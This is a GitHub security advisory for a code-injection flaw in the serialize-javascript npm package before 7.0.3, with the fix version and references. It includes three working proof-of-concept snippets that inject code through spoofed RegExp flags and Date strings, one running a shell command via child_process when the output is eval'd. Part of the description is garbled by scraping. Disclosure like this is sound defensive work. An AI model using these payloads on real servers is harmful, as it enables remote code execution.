GitHub Advisoryadvisory · npm
GHSA-5c6j-r48x-rmvq Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- serialize-javascript
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-96
- Reviewed
- 2026-02-28
Affected packages
• npm serialize-javascript: < 7.0.3 → fixed in 7.0.3
Description
Impact
The serialize-javascript npm package (versions ` tags), the injected code executes.
```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
h2. PoC 2: Code Injection via Date.toISOString()
```
```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
h2. PoC 3: Remote Code Execution
```
```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
Related
Weakness · CWE (1)
- CWE-96 Improper Neutralization of Directives in Statically Saved Code weakness
References
- https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq web
- https://nvd.nist.gov/vuln/detail/CVE-2020-7660 advisory
- https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9 web
- https://github.com/advisories/GHSA-hxcc-f52p-wc94 advisory
- https://github.com/yahoo/serialize-javascript package
- https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3 web